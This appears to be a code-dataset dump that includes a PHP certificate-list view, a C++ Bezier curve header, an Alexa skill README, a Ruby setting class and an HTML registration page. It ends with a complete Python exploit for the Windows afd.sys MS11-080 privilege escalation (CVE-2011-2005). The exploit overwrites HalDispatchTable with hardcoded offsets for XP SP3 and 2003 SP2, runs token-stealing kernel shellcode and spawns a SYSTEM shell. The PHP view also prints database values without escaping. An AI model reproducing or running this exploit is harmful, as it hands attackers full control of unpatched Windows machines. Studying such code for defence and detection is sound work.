code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
<div class="section"> <div class="container"> <div class="row"> <div class="col-md-12"> <table class="table table-striped table-condensed"> <!-- Array ( [C] => ID [ST] => East Java [L] => Surabaya [O] => Raizan Inc [OU] => Web Administration [CN] => www.raizan.com ) --> <tr> <th>Serial Number</th> <th>Name</th> <th>Revoke Request</th> <th></th> </tr> <?php $i = 0; foreach($pack as $row) { echo '<tr>'; if(isset($pack[$i]["serial_number"])){ echo '<td>'.$pack[$i]["serial_number"].'</td>'; } else { echo '<td>-</td>'; } if(isset($pack[$i]["name"])){ echo '<td>'.$pack[$i]["name"].'</td>'; } else { echo '<td>-</td>'; } if(isset($pack[$i]["revoke_request"])){ if($pack[$i]["revoke_request"] == 1) { echo '<td> YES </td>'; echo '<td><a href="'.site_url('admin/revoke').'/'.$pack[$i]["serial_number"].'" class="btn btn-grey btn-sm event-more">Revoke</a></td>'; } else { echo '<td>NO</td>'; } } else { echo '<td>-</td>'; } echo '</tr>'; $i++; } ?> </table> </div> </div> </div> </div>
KIJ-D-NANA/nana-pki
application/views/page-cert-list.php
PHP
mit
1,768
#ifndef Magnum_Math_Bezier_h #define Magnum_Math_Bezier_h /* This file is part of Magnum. Copyright © 2010, 2011, 2012, 2013, 2014, 2015, 2016 Vladimír Vondruš <mosra@centrum.cz> Copyright © 2016 Ashwin Ravichandran <ashwinravichandran24@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** @file * @brief Class @ref Magnum::Math::Bezier, alias @ref Magnum::Math::QuadraticBezier, @ref Magnum::Math::QuadraticBezier2D, @ref Magnum::Math::QuadraticBezier3D, @ref Magnum::Math::CubicBezier, @ref Magnum::Math::CubicBezier2D, @ref Magnum::Math::CubicBezier3D */ #include <array> #include "Magnum/Math/Vector.h" namespace Magnum { namespace Math { /** @brief Bézier curve @tparam order Order of Bézier curve @tparam dimensions Dimensions of control points @tparam T Underlying data type Implementation of M-order N-dimensional [Bézier Curve](https://en.wikipedia.org/wiki/B%C3%A9zier_curve). @see @ref QuadraticBezier, @ref CubicBezier, @ref QuadraticBezier2D, @ref QuadraticBezier3D, @ref CubicBezier2D, @ref CubicBezier3D */ template<UnsignedInt order, UnsignedInt dimensions, class T> class Bezier { static_assert(order != 0, "Bezier cannot have zero order"); template<UnsignedInt, UnsignedInt, class> friend class Bezier; public: typedef T Type; /**< @brief Underlying data type */ enum: UnsignedInt { Order = order, /**< Order of Bézier curve */ Dimensions = dimensions /**< Dimensions of control points */ }; /** * @brief Default constructor * * Construct the curve with all control points being zero vectors. */ constexpr /*implicit*/ Bezier(ZeroInitT = ZeroInit) noexcept /** @todoc remove workaround when doxygen is sane */ #ifndef DOXYGEN_GENERATING_OUTPUT /* MSVC 2015 can't handle {} here */ : Bezier<order, dimensions, T>(typename Implementation::GenerateSequence<order + 1>::Type{}, ZeroInit) #endif {} /** @brief Construct Bézier without initializing the contents */ explicit Bezier(NoInitT) noexcept /** @todoc remove workaround when doxygen is sane */ #ifndef DOXYGEN_GENERATING_OUTPUT /* MSVC 2015 can't handle {} here */ : Bezier<order, dimensions, T>(typename Implementation::GenerateSequence<order + 1>::Type{}, NoInit) #endif {} /** @brief Construct Bézier curve with given array of control points */ template<typename... U> constexpr Bezier(const Vector<dimensions, T>& first, U... next) noexcept: _data{first, next...} { static_assert(sizeof...(U) + 1 == order + 1, "Wrong number of arguments"); } /** * @brief Construct Bézier curve from another of different type * * Performs only default casting on the values, no rounding or * anything else. */ template<class U> constexpr explicit Bezier(const Bezier<order, dimensions, U>& other) noexcept: Bezier{typename Implementation::GenerateSequence<order + 1>::Type(), other} {} /** @brief Equality comparison */ bool operator==(const Bezier<order, dimensions, T>& other) const { for(std::size_t i = 0; i != order + 1; ++i) if((*this)[i] != other[i]) return false; return true; } /** @brief Non-equality comparison */ bool operator!=(const Bezier<order, dimensions, T>& other) const { return !operator==(other); } /** * @brief Control point access * * @p i should not be larger than @ref Order. */ Vector<dimensions, T>& operator[](std::size_t i) { return _data[i]; } constexpr Vector<dimensions, T> operator[](std::size_t i) const { return _data[i]; } /**< @overload */ /** * @brief Interpolate the curve at given position * * Returns point on the curve for given interpolation factor. Uses * the [De Casteljau's algorithm](https://en.wikipedia.org/wiki/De_Casteljau%27s_algorithm). * @see @ref subdivide() */ Vector<dimensions, T> value(Float t) const { return calculateIntermediatePoints(t)[0][order]; } /** * @brief Subdivide the curve at given position * * Returns two Bézier curves following the original curve, split at * given interpolation factor. Uses the [De Casteljau's algorithm](https://en.wikipedia.org/wiki/De_Casteljau%27s_algorithm). * @see @ref value() */ std::pair<Bezier<order, dimensions, T>, Bezier<order, dimensions, T>> subdivide(Float t) const { const auto iPoints = calculateIntermediatePoints(t); Bezier<order, dimensions, T> left, right; for(std::size_t i = 0; i <= order; ++i) left[i] = iPoints[0][i]; for(std::size_t i = 0, j = order; i <= order; --j, ++i) right[i] = iPoints[i][j]; return {left, right}; } private: /* Implementation for Bezier<order, dimensions, T>::Bezier(const Bezier<order, dimensions, U>&) */ template<class U, std::size_t ...sequence> constexpr explicit Bezier(Implementation::Sequence<sequence...>, const Bezier<order, dimensions, U>& other) noexcept: _data{Vector<dimensions, T>(other._data[sequence])...} {} /* Implementation for Bezier<order, dimensions, T>::Bezier(ZeroInitT) and Bezier<order, dimensions, T>::Bezier(NoInitT) */ /* MSVC 2015 can't handle {} here */ template<class U, std::size_t ...sequence> constexpr explicit Bezier(Implementation::Sequence<sequence...>, U): _data{Vector<dimensions, T>((static_cast<void>(sequence), U{typename U::Init{}}))...} {} /* Calculates and returns all intermediate points generated when using De Casteljau's algorithm */ std::array<Bezier<order, dimensions, T>, order + 1> calculateIntermediatePoints(Float t) const { std::array<Bezier<order, dimensions, T>, order + 1> iPoints; for(std::size_t i = 0; i <= order; ++i) { iPoints[i][0] = _data[i]; } for(std::size_t r = 1; r <= order; ++r) { for(std::size_t i = 0; i <= order - r; ++i) { iPoints[i][r] = (1 - t)*iPoints[i][r - 1] + t*iPoints[i + 1][r - 1]; } } return iPoints; } Vector<dimensions, T> _data[order + 1]; }; /** @brief Quadratic Bézier curve Convenience alternative to `Bezier<2, dimensions, T>`. See @ref Bezier for more information. @see @ref QuadraticBezier2D, @ref QuadraticBezier3D */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<UnsignedInt dimensions, class T> using QuadraticBezier = Bezier<2, dimensions, T>; #endif /** @brief Two-dimensional quadratic Bézier curve Convenience alternative to `QuadraticBezier<2, T>`. See @ref QuadraticBezier and @ref Bezier for more information. @see @ref QuadraticBezier3D, @ref Magnum::QuadraticBezier2D, @ref Magnum::QuadraticBezier2Dd */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<class T> using QuadraticBezier2D = QuadraticBezier<2, T>; #endif /** @brief Three-dimensional quadratic Bézier curve Convenience alternative to `QuadraticBezier<3, T>`. See @ref QuadraticBezier and @ref Bezier for more information. @see @ref QuadraticBezier2D, @ref Magnum::QuadraticBezier3D, @ref Magnum::QuadraticBezier3Dd */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<class T> using QuadraticBezier3D = QuadraticBezier<3, T>; #endif /** @brief Cubic Bézier curve Convenience alternative to `Bezier<3, dimensions, T>`. See @ref Bezier for more information. @see @ref CubicBezier2D, @ref CubicBezier3D */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<UnsignedInt dimensions, class T> using CubicBezier = Bezier<3, dimensions, T>; #endif /** @brief Two-dimensional cubic Bézier curve Convenience alternative to `CubicBezier<2, T>`. See @ref CubicBezier and @ref Bezier for more information. @see @ref CubicBezier3D, @ref Magnum::CubicBezier2D, @ref Magnum::CubicBezier2Dd */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<class T> using CubicBezier2D = CubicBezier<2, T>; #endif /** @brief Three-dimensional cubic Bézier curve Convenience alternative to `CubicBezier<3, T>`. See @ref CubicBezier and @ref Bezier for more information. @see @ref CubicBezier2D, @ref Magnum::CubicBezier3D, @ref Magnum::CubicBezier3Dd */ #ifndef CORRADE_MSVC2015_COMPATIBILITY /* Multiple definitions still broken */ template<class T> using CubicBezier3D = CubicBezier<3, T>; #endif /** @debugoperator{Magnum::Math::Bezier} */ template<UnsignedInt order, UnsignedInt dimensions, class T> Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug& debug, const Bezier<order, dimensions, T>& value) { debug << "Bezier(" << Corrade::Utility::Debug::nospace; for(UnsignedInt o = 0; o != order + 1; ++o) { debug << (o ? ", {" : "{") << Corrade::Utility::Debug::nospace << value[o][0] << Corrade::Utility::Debug::nospace; for(UnsignedInt i = 1; i != dimensions; ++i) debug << "," << value[o][i] << Corrade::Utility::Debug::nospace; debug << "}" << Corrade::Utility::Debug::nospace; } return debug << ")"; } /* Explicit instantiation for types used in OpenGL */ #ifndef DOXYGEN_GENERATING_OUTPUT extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<2, 2, Float>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<2, 3, Float>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<3, 2, Float>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<3, 3, Float>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<2, 2, Double>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<2, 3, Double>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<3, 2, Double>&); extern template MAGNUM_EXPORT Corrade::Utility::Debug& operator<<(Corrade::Utility::Debug&, const Bezier<3, 3, Double>&); #endif }} namespace Corrade { namespace Utility { /** @configurationvalue{Magnum::Math::Bezier} */ template<Magnum::UnsignedInt order, Magnum::UnsignedInt dimensions, class T> struct ConfigurationValue<Magnum::Math::Bezier<order, dimensions, T>> { ConfigurationValue() = delete; /** @brief Writes elements separated with spaces */ static std::string toString(const Magnum::Math::Bezier<order, dimensions, T>& value, ConfigurationValueFlags flags) { std::string output; for(std::size_t o = 0; o != order + 1; ++o) { for(std::size_t i = 0; i != dimensions; ++i) { if(!output.empty()) output += ' '; output += ConfigurationValue<T>::toString(value[o][i], flags); } } return output; } /** @brief Reads elements separated with whitespace */ static Magnum::Math::Bezier<order, dimensions, T> fromString(const std::string& stringValue, ConfigurationValueFlags flags) { Magnum::Math::Bezier<order, dimensions, T> result; std::size_t oldpos = 0, pos = std::string::npos, i = 0; do { pos = stringValue.find(' ', oldpos); std::string part = stringValue.substr(oldpos, pos-oldpos); if(!part.empty()) { result[i/dimensions][i%dimensions] = ConfigurationValue<T>::fromString(part, flags); ++i; } oldpos = pos+1; } while(pos != std::string::npos); return result; } }; #if !defined(DOXYGEN_GENERATING_OUTPUT) && !defined(__MINGW32__) extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<2, 2, Magnum::Float>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<2, 3, Magnum::Float>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<3, 2, Magnum::Float>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<3, 3, Magnum::Float>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<2, 2, Magnum::Double>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<2, 3, Magnum::Double>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<3, 2, Magnum::Double>>; extern template struct MAGNUM_EXPORT ConfigurationValue<Magnum::Math::Bezier<3, 3, Magnum::Double>>; #endif }} #endif
MiUishadow/magnum
src/Magnum/Math/Bezier.h
C
mit
14,170
# [Temperature converter](http://alexa.amazon.com/#skills/amzn1.ask.skill.2c573983-acc9-44ec-bf3b-bf6cce7bf00a) ![1.8 stars](../../images/ic_star_black_18dp_1x.png)![1.8 stars](../../images/ic_star_half_black_18dp_1x.png)![1.8 stars](../../images/ic_star_border_black_18dp_1x.png)![1.8 stars](../../images/ic_star_border_black_18dp_1x.png)![1.8 stars](../../images/ic_star_border_black_18dp_1x.png) 3 To use the Temperature converter skill, try saying... * *Alexa, ask temperature converter what is ten converted to fahrenheit* * *Alexa, ask temperature converter what is thirty converted to celsius* * *Alexa, ask temperature converter what is four converted to fahrenheit* "what is <NUMBER> converted to <UNIT>" *** ### Skill Details * **Invocation Name:** temperature converter * **Category:** null * **ID:** amzn1.ask.skill.2c573983-acc9-44ec-bf3b-bf6cce7bf00a * **ASIN:** B01N78SUUM * **Author:** Jrom Mobile * **Release Date:** November 26, 2016 @ 07:05:09 * **In-App Purchasing:** No
dale3h/alexa-skills-list
skills/B01N78SUUM/README.md
Markdown
mit
999
module Dashtag class BoolSetting def dehydrate @bool.to_s end def self.parse(val) val.nil? ? nil : BoolSetting.new(convert_to_bool(val)) end def self.hydrate(string) new(convert_to_bool(string)) end def to_ui_format @bool end def ==(other) return other == @bool if other.class == BoolSetting @bool == other end private def initialize(bool) @bool = bool end def self.convert_to_bool(val) ActiveRecord::Type::Boolean.new.type_cast_from_database(val) end end end
anirudh-eka/dashtag
app/models/dashtag/bool_setting.rb
Ruby
mit
579
<!doctype html> <html class="no-js" lang=""> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>注册</title> <meta name="description" content=""> <!--<meta name="viewport" content="width=device-width, initial-scale=1">--> <link rel="apple-touch-icon" href="apple-touch-icon.png"> <!-- Place favicon.ico in the root directory --> <link rel="stylesheet" href="css/bootstrap.css"> <link rel="stylesheet" href="css/main.css"> <!-- Modernizr --> <script src="js/vendor/modernizr-2.8.3.min.js"></script> <!-- Respond.js for IE 8 or less only --> <!--[if (lt IE 9) & (!IEMobile)]> <script src="js/vendor/respond.min.js"></script> <![endif]--> </head> <body> <!--[if lt IE 8]> <p class="browserupgrade">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p> <![endif]--> <!-- Add your site or application content here --> <header role="banner" class="navbar"> <nav class="navbar navbar-default navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <a class="navbar-brand" href="./index.html"> <img src="img/logo.png" alt="Logo" width="100"></img> </a> </div><!--navbar-header--> <!--<div class="navbar">--> <ul class="nav navbar-nav"> <li class="active"><a href="./index.html">首页</a></li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">主题<span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#">DIY</a></li> <li role="separator" class="divider"></a></li> <li><a href="#">毕业季</a></li> <li><a href="#">情侣装</a></li> <li><a href="#">日系</a></li> <li><a href="#">文艺</a></li> </ul> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">男装<span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#">衬衫</a></li> <li role="separator" class="divider"></a></li> <li><a href="#">T 恤</a></li> <li><a href="#">长袖</a></li> <li><a href="#">毛衣</a></li> <li role="separator" class="divider"></a></li> <li><a href="#">外套</a></li> </ul> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">女装<span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#">衬衫</a></li> <li><a href="#">裙子</a></li> <li role="separator" class="divider"></a></li> <li><a href="#">T 恤</a></li> <li><a href="#">长袖</a></li> <li><a href="#">毛衣</a></li> <li role="separator" class="divider"></a></li> <li><a href="#">外套</a></li> </ul> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">更多<span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#">帽子</a></li> <li role="separator" class="divider"></li> <li><a href="#">领带</a></li> <li><a href="#">领结</a></li> <li><a href="#">围巾</a></li> <li role="separator" class="divider"></li> <li><a href="#">手套</a></li> <li role="separator" class="divider"></li> <li><a href="#">袜子</a></li> </ul> </li> </ul> <form role="search" class="navbar-form navbar-left"> <div class="form-group"> <input type="text" class="form-control" placeholder="搜索"> </div> <button type="submit" class="btn btn-default">发现</button> </form> <div class="utility-nav"> <ul id="cookiedeal"> <li><a href="register.html" title="register"></i>注册</a></li> <li><a href="login.html" title="login"><i class="icon fa fa-user fa-lg"></i> 登录</a></li> </ul> </div> <!--</div>--><!--navbar--> </div><!--container--> </nav> </header> <!--------------------------------------------------------------------------------------------------------------------> <main role="main"> <div class="container"> <div class="jumbotron mt15"> <h2 id="registertitle" class="text-center"><small>注册衣彩账号</small></h2> <form id="registerform" class="form-horizontal" action="#"> <div class="form-group has-feedback"> <label for="username" class="col-xs-4 control-label">用户名</label> <div class="col-xs-4"> <input type="text" class="form-control" id="username" name="username" size="60" maxlength="60" placeholder="Userename"> </div> </div> <div class="form-group has-feedback"> <label for="usermail" class="col-xs-4 control-label">邮箱</label> <div class="col-xs-4"> <input type="email" class="form-control" id="usermail" name="usermail" size="60" maxlength="60" placeholder="Useremail"> </div> </div> <div class="form-group has-feedback"> <label for="password1" class="col-xs-4 control-label">输入密码</label> <div class="col-xs-4"> <input type="password" class="form-control" id="password1" name="password1" size="20" maxlength="20" placeholder="Password"> </div> </div> <div class="form-group has-feedback"> <label for="password2" class="col-xs-4 control-label">确认密码</label> <div class="col-xs-4"> <input type="password" class="form-control" id="password2" name="password2" size="20" maxlength="20" placeholder="Password"> </div> </div> <div class="form-group"> <div class="col-xs-offset-4 col-xs-2"> <button type="button" id="registersubmit" class="btn btn-success">注册</button> </div> </div> </form> </div> </div> </main> <!--------------------------------------------------------------------------------------------------------------------> <footer role="contentinfo" style="background-color:#ccff99;opacity:0.7"> <p><a href="index.html"><img src="img/logo.png" width="80" alt="Logo"></a></p> <ul class="social"> <li><a href="#" title="Tiwtter Profile"><span class="icon fa fa-twitter"></span></a></li> <li><a href="#" title="Facebook Page"><span class="icon fa fa-facebook"></span></a></li> <li><a href="#" title="qq Profile"><span class="icon fa fa-qq"></span></a></li> <li><a href="#" title="weibo Profile"><span class="icon fa fa-weibo"></span></a></li> <li><a href="#" title="weixin Profile"><span class="icon fa fa-weixin"></span></a></li> </ul> <p><small>Copyright &copy; baochuquan</small></p> </footer> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script>window.jQuery || document.write('<script src="js/vendor/jquery-1.11.3.min.js"><\/script>')</script> <script src="js/vendor/holder.js"></script> <script src="js/plugins.js"></script> <script src="js/jquery.cookie.js"></script> <script src="js/register/register.js"></script> <script src="js/navbar.js"></script> <!-- Google Analytics: change UA-XXXXX-X to be your site's ID. --> <script> (function(b,o,i,l,e,r){b.GoogleAnalyticsObject=l;b[l]||(b[l]= function(){(b[l].q=b[l].q||[]).push(arguments)});b[l].l=+new Date; e=o.createElement(i);r=o.getElementsByTagName(i)[0]; e.src='https://www.google-analytics.com/analytics.js'; r.parentNode.insertBefore(e,r)}(window,document,'script','ga')); ga('create','UA-XXXXX-X','auto');ga('send','pageview'); </script> </body> </html>
baochuquan/B2Cyicai
register.html
HTML
mit
7,959
################################################################################ ######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ######## ######### Author: ryujin@offsec.com - Matteo Memelli ######## ######### Spaghetti & Pwnsauce ######## ######### yuck! 0xbaadf00d Elwood@mac&cheese.com ######## ######### ######## ######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ######## ######### for helping out! ######## ######### ######## ######### To my Master Shifu muts: ######## ######### "So that's it, I just need inner peace?" ;) ######## ######### ######## ######### Exploit tested on the following 32bits systems: ######## ######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ######## ################################################################################ from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, c_char, c_short, c_ushort, c_int, c_uint, c_ulong, c_void_p, c_long, c_char_p) from ctypes.wintypes import HANDLE, DWORD import socket, time, os, struct, sys from optparse import OptionParser usage = "%prog -O TARGET_OS" parser = OptionParser(usage=usage) parser.add_option("-O", "--target-os", type="string", action="store", dest="target_os", help="Target OS. Accepted values: XP, 2K3") (options, args) = parser.parse_args() OS = options.target_os if not OS or OS.upper() not in ['XP','2K3']: parser.print_help() sys.exit() OS = OS.upper() kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None print "[>] MS11-080 Privilege Escalation Exploit" print "[>] Matteo Memelli - ryujin@offsec.com" print "[>] Release Date 28/11/2011" WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] ## Create our deviceiocontrol socket handle client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if client == ~0: raise OSError, "WSASocket: %s" % (WSAGetLastError(),) try: addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(4455) addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 ## We need to connect to a closed port, socket state must be CONNECTING connect(client, byref(addr), sizeof(addr)) except: closesocket(client) raise baseadd = c_int(0x1001) MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) ## This will trigger the path to AfdRestartJoin irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" "\x00\x00\x00\x00\x44\x44\x44\x44" "\x01\x00\x00\x00" "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231) ## Allocate space for the input buffer dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) # Copy input buffer to it kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written)) startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) ################################# KERNEL INFO ################################## lpDriver = c_char_p() lpPath = c_char_p() lpDrvAddress = c_long() (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("hal.dll") ## WinXP SP3 if OS == "XP": HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 ## Win2k3 SP2 else: HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation) print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation) ################################# EXPLOITATION ################################# shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 HalDispatchTable0x8 = HalDispatchTable + 0x8 ## tokenbkaddr = 0x00020900 if OS == "XP": _KPROCESS = "\x44" _TOKEN = "\xc8" _UPID = "\x84" _APLINKS = "\x88" else: _KPROCESS = "\x38" _TOKEN = "\xd8" _UPID = "\x94" _APLINKS = "\x98" restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x10" restore_token = "\x52" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\x15\x00\x09\x02\x00" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5a" +\ "\xc2\x10" shellcode = padding + restore_ptrs + tokenstealing shellcode_size = len(shellcode) orig_size = shellcode_size # Write shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) # Write shellcode in userspace *(nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Trigger Pointer Overwrite print "[*] Triggering AFDJoinLeaf pointer overwrite..." IOCTL = 0x000120bb # AFDJoinLeaf inputbuffer = 0x1004 inputbuffer_size = 0x108 outputbuffer_size = 0x0 # Bypass Probe for Write outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1 IoStatusBlock = c_ulong() NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger shellcode inp = c_ulong() out = c_ulong() inp = 0x1337 hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) ## Spawn a system shell, w00t! print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32") ############################## POST EXPLOITATION ############################### print "[*] Restoring token..." ## Restore the thingie shellcode = padding + restore_ptrs + restore_token shellcode_size = len(shellcode) trail_padding = (orig_size - shellcode_size) * "\x00" shellcode += trail_padding shellcode_size += (orig_size - shellcode_size) ## Write restore shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) ## Write restore shellcode in userspace (nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Overwrite HalDispatchTable once again NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger restore shellcode hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[+] Restore done! Have a nice day :)"
SecWiki/windows-kernel-exploits
MS11-080/CVE-2011-2005.py
Python
mit
12,217
